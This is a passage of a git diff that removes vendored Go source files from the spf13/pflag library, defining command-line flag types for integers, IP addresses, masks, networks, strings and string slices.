can be used after a single dash. -func Int64SliceP(name, shorthand string, value []int64, usage string) *[]int64 { - return CommandLine.Int64SliceP(name, shorthand, value, usage) -} diff --git a/vendor/github.com/spf13/pflag/int8.go b/vendor/github.com/spf13/pflag/int8.go deleted file mode 100644 index 4da92228e6..0000000000 --- a/vendor/github.com/spf13/pflag/int8.go +++ /dev/null @@ -1,88 +0,0 @@ -package pflag - -import "strconv" - -// -- int8 Value -type int8Value int8 - -func newInt8Value(val int8, p *int8) *int8Value { - *p = val - return (*int8Value)(p) -} - -func (i *int8Value) Set(s string) error { - v, err := strconv.ParseInt(s, 0, 8) - *i = int8Value(v) - return err -} - -func (i *int8Value) Type() string { - return "int8" -} - -func (i *int8Value) String() string { return strconv.FormatInt(int64(*i), 10) } - -func int8Conv(sval string) (interface{}, error) { - v, err := strconv.ParseInt(sval, 0, 8) - if err != nil { - return 0, err - } - return int8(v), nil -} - -// GetInt8 return the int8 value of a flag with the given name -func (f *FlagSet) GetInt8(name string) (int8, error) { - val, err := f.getFlagType(name, "int8", int8Conv) - if err != nil { - return 0, err - } - return val.(int8), nil -} - -// Int8Var defines an int8 flag with specified name, default value, and usage string. -// The argument p points to an int8 variable in which to store the value of the flag. -func (f *FlagSet) Int8Var(p *int8, name string, value int8, usage string) { - f.VarP(newInt8Value(value, p), name, "", usage) -} - -// Int8VarP is like Int8Var, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) Int8VarP(p *int8, name, shorthand string, value int8, usage string) { - f.VarP(newInt8Value(value, p), name, shorthand, usage) -} - -// Int8Var defines an int8 flag with specified name, default value, and usage string. -// The argument p points to an int8 variable in which to store the value of the flag. -func Int8Var(p *int8, name string, value int8, usage string) { - CommandLine.VarP(newInt8Value(value, p), name, "", usage) -} - -// Int8VarP is like Int8Var, but accepts a shorthand letter that can be used after a single dash. -func Int8VarP(p *int8, name, shorthand string, value int8, usage string) { - CommandLine.VarP(newInt8Value(value, p), name, shorthand, usage) -} - -// Int8 defines an int8 flag with specified name, default value, and usage string. -// The return value is the address of an int8 variable that stores the value of the flag. -func (f *FlagSet) Int8(name string, value int8, usage string) *int8 { - p := new(int8) - f.Int8VarP(p, name, "", value, usage) - return p -} - -// Int8P is like Int8, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) Int8P(name, shorthand string, value int8, usage string) *int8 { - p := new(int8) - f.Int8VarP(p, name, shorthand, value, usage) - return p -} - -// Int8 defines an int8 flag with specified name, default value, and usage string. -// The return value is the address of an int8 variable that stores the value of the flag. -func Int8(name string, value int8, usage string) *int8 { - return CommandLine.Int8P(name, "", value, usage) -} - -// Int8P is like Int8, but accepts a shorthand letter that can be used after a single dash. -func Int8P(name, shorthand string, value int8, usage string) *int8 { - return CommandLine.Int8P(name, shorthand, value, usage) -} diff --git a/vendor/github.com/spf13/pflag/int_slice.go b/vendor/github.com/spf13/pflag/int_slice.go deleted file mode 100644 index e71c39d91a..0000000000 --- a/vendor/github.com/spf13/pflag/int_slice.go +++ /dev/null @@ -1,158 +0,0 @@ -package pflag - -import ( - "fmt" - "strconv" - "strings" -) - -// -- intSlice Value -type intSliceValue struct { - value *[]int - changed bool -} - -func newIntSliceValue(val []int, p *[]int) *intSliceValue { - isv := new(intSliceValue) - isv.value = p - *isv.value = val - return isv -} - -func (s *intSliceValue) Set(val string) error { - ss := strings.Split(val, ",") - out := make([]int, len(ss)) - for i, d := range ss { - var err error - out[i], err = strconv.Atoi(d) - if err != nil { - return err - } - - } - if !s.changed { - *s.value = out - } else { - *s.value = append(*s.value, out...) - } - s.changed = true - return nil -} - -func (s *intSliceValue) Type() string { - return "intSlice" -} - -func (s *intSliceValue) String() string { - out := make([]string, len(*s.value)) - for i, d := range *s.value { - out[i] = fmt.Sprintf("%d", d) - } - return "[" + strings.Join(out, ",") + "]" -} - -func (s *intSliceValue) Append(val string) error { - i, err := strconv.Atoi(val) - if err != nil { - return err - } - *s.value = append(*s.value, i) - return nil -} - -func (s *intSliceValue) Replace(val []string) error { - out := make([]int, len(val)) - for i, d := range val { - var err error - out[i], err = strconv.Atoi(d) - if err != nil { - return err - } - } - *s.value = out - return nil -} - -func (s *intSliceValue) GetSlice() []string { - out := make([]string, len(*s.value)) - for i, d := range *s.value { - out[i] = strconv.Itoa(d) - } - return out -} - -func intSliceConv(val string) (interface{}, error) { - val = strings.Trim(val, "[]") - // Empty string would cause a slice with one (empty) entry - if len(val) == 0 { - return []int{}, nil - } - ss := strings.Split(val, ",") - out := make([]int, len(ss)) - for i, d := range ss { - var err error - out[i], err = strconv.Atoi(d) - if err != nil { - return nil, err - } - - } - return out, nil -} - -// GetIntSlice return the []int value of a flag with the given name -func (f *FlagSet) GetIntSlice(name string) ([]int, error) { - val, err := f.getFlagType(name, "intSlice", intSliceConv) - if err != nil { - return []int{}, err - } - return val.([]int), nil -} - -// IntSliceVar defines a intSlice flag with specified name, default value, and usage string. -// The argument p points to a []int variable in which to store the value of the flag. -func (f *FlagSet) IntSliceVar(p *[]int, name string, value []int, usage string) { - f.VarP(newIntSliceValue(value, p), name, "", usage) -} - -// IntSliceVarP is like IntSliceVar, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) IntSliceVarP(p *[]int, name, shorthand string, value []int, usage string) { - f.VarP(newIntSliceValue(value, p), name, shorthand, usage) -} - -// IntSliceVar defines a int[] flag with specified name, default value, and usage string. -// The argument p points to a int[] variable in which to store the value of the flag. -func IntSliceVar(p *[]int, name string, value []int, usage string) { - CommandLine.VarP(newIntSliceValue(value, p), name, "", usage) -} - -// IntSliceVarP is like IntSliceVar, but accepts a shorthand letter that can be used after a single dash. -func IntSliceVarP(p *[]int, name, shorthand string, value []int, usage string) { - CommandLine.VarP(newIntSliceValue(value, p), name, shorthand, usage) -} - -// IntSlice defines a []int flag with specified name, default value, and usage string. -// The return value is the address of a []int variable that stores the value of the flag. -func (f *FlagSet) IntSlice(name string, value []int, usage string) *[]int { - p := []int{} - f.IntSliceVarP(&p, name, "", value, usage) - return &p -} - -// IntSliceP is like IntSlice, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) IntSliceP(name, shorthand string, value []int, usage string) *[]int { - p := []int{} - f.IntSliceVarP(&p, name, shorthand, value, usage) - return &p -} - -// IntSlice defines a []int flag with specified name, default value, and usage string. -// The return value is the address of a []int variable that stores the value of the flag. -func IntSlice(name string, value []int, usage string) *[]int { - return CommandLine.IntSliceP(name, "", value, usage) -} - -// IntSliceP is like IntSlice, but accepts a shorthand letter that can be used after a single dash. -func IntSliceP(name, shorthand string, value []int, usage string) *[]int { - return CommandLine.IntSliceP(name, shorthand, value, usage) -} diff --git a/vendor/github.com/spf13/pflag/ip.go b/vendor/github.com/spf13/pflag/ip.go deleted file mode 100644 index 3d414ba69f..0000000000 --- a/vendor/github.com/spf13/pflag/ip.go +++ /dev/null @@ -1,94 +0,0 @@ -package pflag - -import ( - "fmt" - "net" - "strings" -) - -// -- net.IP value -type ipValue net.IP - -func newIPValue(val net.IP, p *net.IP) *ipValue { - *p = val - return (*ipValue)(p) -} - -func (i *ipValue) String() string { return net.IP(*i).String() } -func (i *ipValue) Set(s string) error { - ip := net.ParseIP(strings.TrimSpace(s)) - if ip == nil { - return fmt.Errorf("failed to parse IP: %q", s) - } - *i = ipValue(ip) - return nil -} - -func (i *ipValue) Type() string { - return "ip" -} - -func ipConv(sval string) (interface{}, error) { - ip := net.ParseIP(sval) - if ip != nil { - return ip, nil - } - return nil, fmt.Errorf("invalid string being converted to IP address: %s", sval) -} - -// GetIP return the net.IP value of a flag with the given name -func (f *FlagSet) GetIP(name string) (net.IP, error) { - val, err := f.getFlagType(name, "ip", ipConv) - if err != nil { - return nil, err - } - return val.(net.IP), nil -} - -// IPVar defines an net.IP flag with specified name, default value, and usage string. -// The argument p points to an net.IP variable in which to store the value of the flag. -func (f *FlagSet) IPVar(p *net.IP, name string, value net.IP, usage string) { - f.VarP(newIPValue(value, p), name, "", usage) -} - -// IPVarP is like IPVar, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) IPVarP(p *net.IP, name, shorthand string, value net.IP, usage string) { - f.VarP(newIPValue(value, p), name, shorthand, usage) -} - -// IPVar defines an net.IP flag with specified name, default value, and usage string. -// The argument p points to an net.IP variable in which to store the value of the flag. -func IPVar(p *net.IP, name string, value net.IP, usage string) { - CommandLine.VarP(newIPValue(value, p), name, "", usage) -} - -// IPVarP is like IPVar, but accepts a shorthand letter that can be used after a single dash. -func IPVarP(p *net.IP, name, shorthand string, value net.IP, usage string) { - CommandLine.VarP(newIPValue(value, p), name, shorthand, usage) -} - -// IP defines an net.IP flag with specified name, default value, and usage string. -// The return value is the address of an net.IP variable that stores the value of the flag. -func (f *FlagSet) IP(name string, value net.IP, usage string) *net.IP { - p := new(net.IP) - f.IPVarP(p, name, "", value, usage) - return p -} - -// IPP is like IP, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) IPP(name, shorthand string, value net.IP, usage string) *net.IP { - p := new(net.IP) - f.IPVarP(p, name, shorthand, value, usage) - return p -} - -// IP defines an net.IP flag with specified name, default value, and usage string. -// The return value is the address of an net.IP variable that stores the value of the flag. -func IP(name string, value net.IP, usage string) *net.IP { - return CommandLine.IPP(name, "", value, usage) -} - -// IPP is like IP, but accepts a shorthand letter that can be used after a single dash. -func IPP(name, shorthand string, value net.IP, usage string) *net.IP { - return CommandLine.IPP(name, shorthand, value, usage) -} diff --git a/vendor/github.com/spf13/pflag/ip_slice.go b/vendor/github.com/spf13/pflag/ip_slice.go deleted file mode 100644 index 775faae4fd..0000000000 --- a/vendor/github.com/spf13/pflag/ip_slice.go +++ /dev/null @@ -1,186 +0,0 @@ -package pflag - -import ( - "fmt" - "io" - "net" - "strings" -) - -// -- ipSlice Value -type ipSliceValue struct { - value *[]net.IP - changed bool -} - -func newIPSliceValue(val []net.IP, p *[]net.IP) *ipSliceValue { - ipsv := new(ipSliceValue) - ipsv.value = p - *ipsv.value = val - return ipsv -} - -// Set converts, and assigns, the comma-separated IP argument string representation as the []net.IP value of this flag. -// If Set is called on a flag that already has a []net.IP assigned, the newly converted values will be appended. -func (s *ipSliceValue) Set(val string) error { - - // remove all quote characters - rmQuote := strings.NewReplacer(`"`, "", `'`, "", "`", "") - - // read flag arguments with CSV parser - ipStrSlice, err := readAsCSV(rmQuote.Replace(val)) - if err != nil && err != io.EOF { - return err - } - - // parse ip values into slice - out := make([]net.IP, 0, len(ipStrSlice)) - for _, ipStr := range ipStrSlice { - ip := net.ParseIP(strings.TrimSpace(ipStr)) - if ip == nil { - return fmt.Errorf("invalid string being converted to IP address: %s", ipStr) - } - out = append(out, ip) - } - - if !s.changed { - *s.value = out - } else { - *s.value = append(*s.value, out...) - } - - s.changed = true - - return nil -} - -// Type returns a string that uniquely represents this flag's type. -func (s *ipSliceValue) Type() string { - return "ipSlice" -} - -// String defines a "native" format for this net.IP slice flag value. -func (s *ipSliceValue) String() string { - - ipStrSlice := make([]string, len(*s.value)) - for i, ip := range *s.value { - ipStrSlice[i] = ip.String() - } - - out, _ := writeAsCSV(ipStrSlice) - - return "[" + out + "]" -} - -func (s *ipSliceValue) fromString(val string) (net.IP, error) { - return net.ParseIP(strings.TrimSpace(val)), nil -} - -func (s *ipSliceValue) toString(val net.IP) string { - return val.String() -} - -func (s *ipSliceValue) Append(val string) error { - i, err := s.fromString(val) - if err != nil { - return err - } - *s.value = append(*s.value, i) - return nil -} - -func (s *ipSliceValue) Replace(val []string) error { - out := make([]net.IP, len(val)) - for i, d := range val { - var err error - out[i], err = s.fromString(d) - if err != nil { - return err - } - } - *s.value = out - return nil -} - -func (s *ipSliceValue) GetSlice() []string { - out := make([]string, len(*s.value)) - for i, d := range *s.value { - out[i] = s.toString(d) - } - return out -} - -func ipSliceConv(val string) (interface{}, error) { - val = strings.Trim(val, "[]") - // Empty string would cause a slice with one (empty) entry - if len(val) == 0 { - return []net.IP{}, nil - } - ss := strings.Split(val, ",") - out := make([]net.IP, len(ss)) - for i, sval := range ss { - ip := net.ParseIP(strings.TrimSpace(sval)) - if ip == nil { - return nil, fmt.Errorf("invalid string being converted to IP address: %s", sval) - } - out[i] = ip - } - return out, nil -} - -// GetIPSlice returns the []net.IP value of a flag with the given name -func (f *FlagSet) GetIPSlice(name string) ([]net.IP, error) { - val, err := f.getFlagType(name, "ipSlice", ipSliceConv) - if err != nil { - return []net.IP{}, err - } - return val.([]net.IP), nil -} - -// IPSliceVar defines a ipSlice flag with specified name, default value, and usage string. -// The argument p points to a []net.IP variable in which to store the value of the flag. -func (f *FlagSet) IPSliceVar(p *[]net.IP, name string, value []net.IP, usage string) { - f.VarP(newIPSliceValue(value, p), name, "", usage) -} - -// IPSliceVarP is like IPSliceVar, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) IPSliceVarP(p *[]net.IP, name, shorthand string, value []net.IP, usage string) { - f.VarP(newIPSliceValue(value, p), name, shorthand, usage) -} - -// IPSliceVar defines a []net.IP flag with specified name, default value, and usage string. -// The argument p points to a []net.IP variable in which to store the value of the flag. -func IPSliceVar(p *[]net.IP, name string, value []net.IP, usage string) { - CommandLine.VarP(newIPSliceValue(value, p), name, "", usage) -} - -// IPSliceVarP is like IPSliceVar, but accepts a shorthand letter that can be used after a single dash. -func IPSliceVarP(p *[]net.IP, name, shorthand string, value []net.IP, usage string) { - CommandLine.VarP(newIPSliceValue(value, p), name, shorthand, usage) -} - -// IPSlice defines a []net.IP flag with specified name, default value, and usage string. -// The return value is the address of a []net.IP variable that stores the value of that flag. -func (f *FlagSet) IPSlice(name string, value []net.IP, usage string) *[]net.IP { - p := []net.IP{} - f.IPSliceVarP(&p, name, "", value, usage) - return &p -} - -// IPSliceP is like IPSlice, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) IPSliceP(name, shorthand string, value []net.IP, usage string) *[]net.IP { - p := []net.IP{} - f.IPSliceVarP(&p, name, shorthand, value, usage) - return &p -} - -// IPSlice defines a []net.IP flag with specified name, default value, and usage string. -// The return value is the address of a []net.IP variable that stores the value of the flag. -func IPSlice(name string, value []net.IP, usage string) *[]net.IP { - return CommandLine.IPSliceP(name, "", value, usage) -} - -// IPSliceP is like IPSlice, but accepts a shorthand letter that can be used after a single dash. -func IPSliceP(name, shorthand string, value []net.IP, usage string) *[]net.IP { - return CommandLine.IPSliceP(name, shorthand, value, usage) -} diff --git a/vendor/github.com/spf13/pflag/ipmask.go b/vendor/github.com/spf13/pflag/ipmask.go deleted file mode 100644 index 5bd44bd21d..0000000000 --- a/vendor/github.com/spf13/pflag/ipmask.go +++ /dev/null @@ -1,122 +0,0 @@ -package pflag - -import ( - "fmt" - "net" - "strconv" -) - -// -- net.IPMask value -type ipMaskValue net.IPMask - -func newIPMaskValue(val net.IPMask, p *net.IPMask) *ipMaskValue { - *p = val - return (*ipMaskValue)(p) -} - -func (i *ipMaskValue) String() string { return net.IPMask(*i).String() } -func (i *ipMaskValue) Set(s string) error { - ip := ParseIPv4Mask(s) - if ip == nil { - return fmt.Errorf("failed to parse IP mask: %q", s) - } - *i = ipMaskValue(ip) - return nil -} - -func (i *ipMaskValue) Type() string { - return "ipMask" -} - -// ParseIPv4Mask written in IP form (e.g. 255.255.255.0). -// This function should really belong to the net package. -func ParseIPv4Mask(s string) net.IPMask { - mask := net.ParseIP(s) - if mask == nil { - if len(s) != 8 { - return nil - } - // net.IPMask.String() actually outputs things like ffffff00 - // so write a horrible parser for that as well :-( - m := []int{} - for i := 0; i < 4; i++ { - b := "0x" + s[2*i:2*i+2] - d, err := strconv.ParseInt(b, 0, 0) - if err != nil { - return nil - } - m = append(m, int(d)) - } - s := fmt.Sprintf("%d.%d.%d.%d", m[0], m[1], m[2], m[3]) - mask = net.ParseIP(s) - if mask == nil { - return nil - } - } - return net.IPv4Mask(mask[12], mask[13], mask[14], mask[15]) -} - -func parseIPv4Mask(sval string) (interface{}, error) { - mask := ParseIPv4Mask(sval) - if mask == nil { - return nil, fmt.Errorf("unable to parse %s as net.IPMask", sval) - } - return mask, nil -} - -// GetIPv4Mask return the net.IPv4Mask value of a flag with the given name -func (f *FlagSet) GetIPv4Mask(name string) (net.IPMask, error) { - val, err := f.getFlagType(name, "ipMask", parseIPv4Mask) - if err != nil { - return nil, err - } - return val.(net.IPMask), nil -} - -// IPMaskVar defines an net.IPMask flag with specified name, default value, and usage string. -// The argument p points to an net.IPMask variable in which to store the value of the flag. -func (f *FlagSet) IPMaskVar(p *net.IPMask, name string, value net.IPMask, usage string) { - f.VarP(newIPMaskValue(value, p), name, "", usage) -} - -// IPMaskVarP is like IPMaskVar, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) IPMaskVarP(p *net.IPMask, name, shorthand string, value net.IPMask, usage string) { - f.VarP(newIPMaskValue(value, p), name, shorthand, usage) -} - -// IPMaskVar defines an net.IPMask flag with specified name, default value, and usage string. -// The argument p points to an net.IPMask variable in which to store the value of the flag. -func IPMaskVar(p *net.IPMask, name string, value net.IPMask, usage string) { - CommandLine.VarP(newIPMaskValue(value, p), name, "", usage) -} - -// IPMaskVarP is like IPMaskVar, but accepts a shorthand letter that can be used after a single dash. -func IPMaskVarP(p *net.IPMask, name, shorthand string, value net.IPMask, usage string) { - CommandLine.VarP(newIPMaskValue(value, p), name, shorthand, usage) -} - -// IPMask defines an net.IPMask flag with specified name, default value, and usage string. -// The return value is the address of an net.IPMask variable that stores the value of the flag. -func (f *FlagSet) IPMask(name string, value net.IPMask, usage string) *net.IPMask { - p := new(net.IPMask) - f.IPMaskVarP(p, name, "", value, usage) - return p -} - -// IPMaskP is like IPMask, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) IPMaskP(name, shorthand string, value net.IPMask, usage string) *net.IPMask { - p := new(net.IPMask) - f.IPMaskVarP(p, name, shorthand, value, usage) - return p -} - -// IPMask defines an net.IPMask flag with specified name, default value, and usage string. -// The return value is the address of an net.IPMask variable that stores the value of the flag. -func IPMask(name string, value net.IPMask, usage string) *net.IPMask { - return CommandLine.IPMaskP(name, "", value, usage) -} - -// IPMaskP is like IP, but accepts a shorthand letter that can be used after a single dash. -func IPMaskP(name, shorthand string, value net.IPMask, usage string) *net.IPMask { - return CommandLine.IPMaskP(name, shorthand, value, usage) -} diff --git a/vendor/github.com/spf13/pflag/ipnet.go b/vendor/github.com/spf13/pflag/ipnet.go deleted file mode 100644 index e2c1b8bcd5..0000000000 --- a/vendor/github.com/spf13/pflag/ipnet.go +++ /dev/null @@ -1,98 +0,0 @@ -package pflag - -import ( - "fmt" - "net" - "strings" -) - -// IPNet adapts net.IPNet for use as a flag. -type ipNetValue net.IPNet - -func (ipnet ipNetValue) String() string { - n := net.IPNet(ipnet) - return n.String() -} - -func (ipnet *ipNetValue) Set(value string) error { - _, n, err := net.ParseCIDR(strings.TrimSpace(value)) - if err != nil { - return err - } - *ipnet = ipNetValue(*n) - return nil -} - -func (*ipNetValue) Type() string { - return "ipNet" -} - -func newIPNetValue(val net.IPNet, p *net.IPNet) *ipNetValue { - *p = val - return (*ipNetValue)(p) -} - -func ipNetConv(sval string) (interface{}, error) { - _, n, err := net.ParseCIDR(strings.TrimSpace(sval)) - if err == nil { - return *n, nil - } - return nil, fmt.Errorf("invalid string being converted to IPNet: %s", sval) -} - -// GetIPNet return the net.IPNet value of a flag with the given name -func (f *FlagSet) GetIPNet(name string) (net.IPNet, error) { - val, err := f.getFlagType(name, "ipNet", ipNetConv) - if err != nil { - return net.IPNet{}, err - } - return val.(net.IPNet), nil -} - -// IPNetVar defines an net.IPNet flag with specified name, default value, and usage string. -// The argument p points to an net.IPNet variable in which to store the value of the flag. -func (f *FlagSet) IPNetVar(p *net.IPNet, name string, value net.IPNet, usage string) { - f.VarP(newIPNetValue(value, p), name, "", usage) -} - -// IPNetVarP is like IPNetVar, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) IPNetVarP(p *net.IPNet, name, shorthand string, value net.IPNet, usage string) { - f.VarP(newIPNetValue(value, p), name, shorthand, usage) -} - -// IPNetVar defines an net.IPNet flag with specified name, default value, and usage string. -// The argument p points to an net.IPNet variable in which to store the value of the flag. -func IPNetVar(p *net.IPNet, name string, value net.IPNet, usage string) { - CommandLine.VarP(newIPNetValue(value, p), name, "", usage) -} - -// IPNetVarP is like IPNetVar, but accepts a shorthand letter that can be used after a single dash. -func IPNetVarP(p *net.IPNet, name, shorthand string, value net.IPNet, usage string) { - CommandLine.VarP(newIPNetValue(value, p), name, shorthand, usage) -} - -// IPNet defines an net.IPNet flag with specified name, default value, and usage string. -// The return value is the address of an net.IPNet variable that stores the value of the flag. -func (f *FlagSet) IPNet(name string, value net.IPNet, usage string) *net.IPNet { - p := new(net.IPNet) - f.IPNetVarP(p, name, "", value, usage) - return p -} - -// IPNetP is like IPNet, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) IPNetP(name, shorthand string, value net.IPNet, usage string) *net.IPNet { - p := new(net.IPNet) - f.IPNetVarP(p, name, shorthand, value, usage) - return p -} - -// IPNet defines an net.IPNet flag with specified name, default value, and usage string. -// The return value is the address of an net.IPNet variable that stores the value of the flag. -func IPNet(name string, value net.IPNet, usage string) *net.IPNet { - return CommandLine.IPNetP(name, "", value, usage) -} - -// IPNetP is like IPNet, but accepts a shorthand letter that can be used after a single dash. -func IPNetP(name, shorthand string, value net.IPNet, usage string) *net.IPNet { - return CommandLine.IPNetP(name, shorthand, value, usage) -} diff --git a/vendor/github.com/spf13/pflag/string.go b/vendor/github.com/spf13/pflag/string.go deleted file mode 100644 index 04e0a26ff7..0000000000 --- a/vendor/github.com/spf13/pflag/string.go +++ /dev/null @@ -1,80 +0,0 @@ -package pflag - -// -- string Value -type stringValue string - -func newStringValue(val string, p *string) *stringValue { - *p = val - return (*stringValue)(p) -} - -func (s *stringValue) Set(val string) error { - *s = stringValue(val) - return nil -} -func (s *stringValue) Type() string { - return "string" -} - -func (s *stringValue) String() string { return string(*s) } - -func stringConv(sval string) (interface{}, error) { - return sval, nil -} - -// GetString return the string value of a flag with the given name -func (f *FlagSet) GetString(name string) (string, error) { - val, err := f.getFlagType(name, "string", stringConv) - if err != nil { - return "", err - } - return val.(string), nil -} - -// StringVar defines a string flag with specified name, default value, and usage string. -// The argument p points to a string variable in which to store the value of the flag. -func (f *FlagSet) StringVar(p *string, name string, value string, usage string) { - f.VarP(newStringValue(value, p), name, "", usage) -} - -// StringVarP is like StringVar, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) StringVarP(p *string, name, shorthand string, value string, usage string) { - f.VarP(newStringValue(value, p), name, shorthand, usage) -} - -// StringVar defines a string flag with specified name, default value, and usage string. -// The argument p points to a string variable in which to store the value of the flag. -func StringVar(p *string, name string, value string, usage string) { - CommandLine.VarP(newStringValue(value, p), name, "", usage) -} - -// StringVarP is like StringVar, but accepts a shorthand letter that can be used after a single dash. -func StringVarP(p *string, name, shorthand string, value string, usage string) { - CommandLine.VarP(newStringValue(value, p), name, shorthand, usage) -} - -// String defines a string flag with specified name, default value, and usage string. -// The return value is the address of a string variable that stores the value of the flag. -func (f *FlagSet) String(name string, value string, usage string) *string { - p := new(string) - f.StringVarP(p, name, "", value, usage) - return p -} - -// StringP is like String, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) StringP(name, shorthand string, value string, usage string) *string { - p := new(string) - f.StringVarP(p, name, shorthand, value, usage) - return p -} - -// String defines a string flag with specified name, default value, and usage string. -// The return value is the address of a string variable that stores the value of the flag. -func String(name string, value string, usage string) *string { - return CommandLine.StringP(name, "", value, usage) -} - -// StringP is like String, but accepts a shorthand letter that can be used after a single dash. -func StringP(name, shorthand string, value string, usage string) *string { - return CommandLine.StringP(name, shorthand, value, usage) -} diff --git a/vendor/github.com/spf13/pflag/string_array.go b/vendor/github.com/spf13/pflag/string_array.go deleted file mode 100644 index 4894af8180..0000000000 --- a/vendor/github.com/spf13/pflag/string_array.go +++ /dev/null @@ -1,129 +0,0 @@ -package pflag - -// -- stringArray Value -type stringArrayValue struct { - value *[]string - changed bool -} - -func newStringArrayValue(val []string, p *[]string) *stringArrayValue { - ssv := new(stringArrayValue) - ssv.value = p - *ssv.value = val - return ssv -} - -func (s *stringArrayValue) Set(val string) error { - if !s.changed { - *s.value = []string{val} - s.changed = true - } else { - *s.value = append(*s.value, val) - } - return nil -} - -func (s *stringArrayValue) Append(val string) error { - *s.value = append(*s.value, val) - return nil -} - -func (s *stringArrayValue) Replace(val []string) error { - out := make([]string, len(val)) - for i, d := range val { - var err error - out[i] = d - if err != nil { - return err - } - } - *s.value = out - return nil -} - -func (s *stringArrayValue) GetSlice() []string { - out := make([]string, len(*s.value)) - for i, d := range *s.value { - out[i] = d - } - return out -} - -func (s *stringArrayValue) Type() string { - return "stringArray" -} - -func (s *stringArrayValue) String() string { - str, _ := writeAsCSV(*s.value) - return "[" + str + "]" -} - -func stringArrayConv(sval string) (interface{}, error) { - sval = sval[1 : len(sval)-1] - // An empty string would cause a array with one (empty) string - if len(sval) == 0 { - return []string{}, nil - } - return readAsCSV(sval) -} - -// GetStringArray return the []string value of a flag with the given name -func (f *FlagSet) GetStringArray(name string) ([]string, error) { - val, err := f.getFlagType(name, "stringArray", stringArrayConv) - if err != nil { - return []string{}, err - } - return val.([]string), nil -} - -// StringArrayVar defines a string flag with specified name, default value, and usage string. -// The argument p points to a []string variable in which to store the values of the multiple flags. -// The value of each argument will not try to be separated by comma. Use a StringSlice for that. -func (f *FlagSet) StringArrayVar(p *[]string, name string, value []string, usage string) { - f.VarP(newStringArrayValue(value, p), name, "", usage) -} - -// StringArrayVarP is like StringArrayVar, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) StringArrayVarP(p *[]string, name, shorthand string, value []string, usage string) { - f.VarP(newStringArrayValue(value, p), name, shorthand, usage) -} - -// StringArrayVar defines a string flag with specified name, default value, and usage string. -// The argument p points to a []string variable in which to store the value of the flag. -// The value of each argument will not try to be separated by comma. Use a StringSlice for that. -func StringArrayVar(p *[]string, name string, value []string, usage string) { - CommandLine.VarP(newStringArrayValue(value, p), name, "", usage) -} - -// StringArrayVarP is like StringArrayVar, but accepts a shorthand letter that can be used after a single dash. -func StringArrayVarP(p *[]string, name, shorthand string, value []string, usage string) { - CommandLine.VarP(newStringArrayValue(value, p), name, shorthand, usage) -} - -// StringArray defines a string flag with specified name, default value, and usage string. -// The return value is the address of a []string variable that stores the value of the flag. -// The value of each argument will not try to be separated by comma. Use a StringSlice for that. -func (f *FlagSet) StringArray(name string, value []string, usage string) *[]string { - p := []string{} - f.StringArrayVarP(&p, name, "", value, usage) - return &p -} - -// StringArrayP is like StringArray, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) StringArrayP(name, shorthand string, value []string, usage string) *[]string { - p := []string{} - f.StringArrayVarP(&p, name, shorthand, value, usage) - return &p -} - -// StringArray defines a string flag with specified name, default value, and usage string. -// The return value is the address of a []string variable that stores the value of the flag. -// The value of each argument will not try to be separated by comma. Use a StringSlice for that. -func StringArray(name string, value []string, usage string) *[]string { - return CommandLine.StringArrayP(name, "", value, usage) -} - -// StringArrayP is like StringArray, but accepts a shorthand letter that can be used after a single dash. -func StringArrayP(name, shorthand string, value []string, usage string) *[]string { - return CommandLine.StringArrayP(name, shorthand, value, usage) -} diff --git a/vendor/github.com/spf13/pflag/string_slice.go b/vendor/github.com/spf13/pflag/string_slice.go deleted file mode 100644 index 3cb2e69dba..0000000000 --- a/vendor/github.com/spf13/pflag/string_slice.go +++ /dev/null @@ -1,163 +0,0 @@ -package pflag - -import ( - "bytes" - "encoding/csv" - "strings" -) - -// -- stringSlice Value -type stringSliceValue struct { - value *[]string - changed bool -} - -func newStringSliceValue(val []string, p *[]string) *stringSliceValue { - ssv := new(stringSliceValue) - ssv.value = p - *ssv.value = val - return ssv -} - -func readAsCSV(val string) ([]string, error) { - if val == "" { - return []string{}, nil - } - stringReader := strings.NewReader(val) - csvReader := csv.NewReader(stringReader) - return csvReader.Read() -} - -func writeAsCSV(vals []string) (string, error) { - b := &bytes.Buffer{} - w := csv.NewWriter(b) - err := w.Write(vals) - if err != nil { - return "", err - } - w.Flush() - return strings.TrimSuffix(b.String(), "\n"), nil -} - -func (s *stringSliceValue) Set(val string) error { - v, err := readAsCSV(val) - if err != nil { - return err - } - if !s.changed { - *s.value = v - } else { - *s.value = append(*s.value, v...) - } - s.changed = true - return nil -} - -func (s *stringSliceValue) Type() string { - return "stringSlice" -} - -func (s *stringSliceValue) String() string { - str, _ := writeAsCSV(*s.value) - return "[" + str + "]" -} - -func (s *stringSliceValue) Append(val string) error { - *s.value = append(*s.value, val) - return nil -} - -func (s *stringSliceValue) Replace(val []string) error { - *s.value = val - return nil -} - -func (s *stringSliceValue) GetSlice() []string { - return *s.value -} - -func stringSliceConv(sval string) (interface{}, error) { - sval = sval[1 : len(sval)-1] - // An empty string would cause a slice with one (empty) string - if len(sval) == 0 { - return []string{}, nil - } - return readAsCSV(sval) -} - -// GetStringSlice return the []string value of a flag with the given name -func (f *FlagSet) GetStringSlice(name string) ([]string, error) { - val, err := f.getFlagType(name, "stringSlice", stringSliceConv) - if err != nil { - return []string{}, err - } - return val.([]string), nil -} - -// StringSliceVar defines a string flag with specified name, default value, and usage string. -// The argument p points to a []string variable in which to store the value of the flag. -// Compared to StringArray flags, StringSlice flags take comma-separated value as arguments and split them accordingly. -// For example: -// --ss="v1,v2" --ss="v3" -// will result in -// []string{"v1", "v2", "v3"} -func (f *FlagSet) StringSliceVar(p *[]string, name string, value []string, usage string) { - f.VarP(newStringSliceValue(value, p), name, "", usage) -} - -// StringSliceVarP is like StringSliceVar, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) 